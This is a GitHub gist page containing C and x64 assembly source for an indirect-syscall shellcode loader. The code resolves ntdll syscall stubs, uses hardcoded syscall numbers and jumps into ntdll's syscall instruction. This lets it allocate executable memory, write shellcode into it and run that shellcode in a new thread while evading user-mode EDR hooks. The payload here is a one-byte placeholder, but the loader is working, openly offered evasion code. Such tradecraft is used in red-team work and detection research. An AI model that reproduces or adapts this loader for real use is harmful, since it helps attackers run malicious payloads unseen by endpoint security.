Skip to content

Instantly share code, notes, and snippets.

@WKL-Sec
Created February 27, 2024 17:24
Show Gist options
  • Save WKL-Sec/71ccebcc433d9ebc1176822f0083411e to your computer and use it in GitHub Desktop.
Save WKL-Sec/71ccebcc433d9ebc1176822f0083411e to your computer and use it in GitHub Desktop.
Indirect Syscall implementation in C to execute our shellcode.
#include <Windows.h>
#include "winternl.h"
#pragma comment(lib, "ntdll")
UINT_PTR sysAddrNtAllocateVirtualMemory;
UINT_PTR sysAddrNtWriteVirtualMemory;
UINT_PTR sysAddrNtCreateThreadEx;
UINT_PTR sysAddrNtWaitForSingleObject;
typedef long NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
// Declare NtAllocateVirtualMemory function
extern NTSTATUS SysNtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Declare NtWriteVirtualMemory function
extern NTSTATUS SysNtWriteVirtualMemory(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
// Declare NtCreateThreadEx function
extern NTSTATUS SysNtCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID lpStartAddress,
PVOID lpParameter,
ULONG Flags,
SIZE_T StackZeroBits,
SIZE_T SizeOfStackCommit,
SIZE_T SizeOfStackReserve,
PVOID lpBytesBuffer
);
// Declare NtWaitForSingleObject function
extern NTSTATUS SysNtWaitForSingleObject(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
int main()
{
// Get a handle to the ntdll.dll library
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL) {
return 1;
}
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
sysAddrNtWriteVirtualMemory = pNtWriteVirtualMemory + 0x12;
sysAddrNtCreateThreadEx = pNtCreateThreadEx + 0x12;
sysAddrNtWaitForSingleObject = pNtWaitForSingleObject + 0x12;
// Define the shellcode to be injected
unsigned char shellcode[] = {0x00};
PVOID allocBuffer = NULL;
SIZE_T buffSize = sizeof(shellcode);
SysNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
SIZE_T bytesWritten;
SysNtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
HANDLE hThread;
SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
SysNtWaitForSingleObject(hThread, FALSE, NULL);
getchar();
return 0;
}
EXTERN sysAddrNtAllocateVirtualMemory:QWORD
EXTERN sysAddrNtWriteVirtualMemory:QWORD
EXTERN sysAddrNtCreateThreadEx:QWORD
EXTERN sysAddrNtWaitForSingleObject:QWORD
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
SysNtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 18h
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]
SysNtAllocateVirtualMemory ENDP
; Similar procedures for NtWriteVirtualMemory syscalls
SysNtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah
jmp QWORD PTR [sysAddrNtWriteVirtualMemory]
SysNtWriteVirtualMemory ENDP
; Similar procedures for NtCreateThreadEx syscalls
SysNtCreateThreadEx PROC
mov r10, rcx
mov eax, 0BCh
jmp QWORD PTR [sysAddrNtCreateThreadEx]
SysNtCreateThreadEx ENDP
; Similar procedures for NtWaitForSingleObject syscalls
SysNtWaitForSingleObject PROC
mov r10, rcx
mov eax, 4
jmp QWORD PTR [sysAddrNtWaitForSingleObject]
SysNtWaitForSingleObject ENDP
END ; End of the module
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment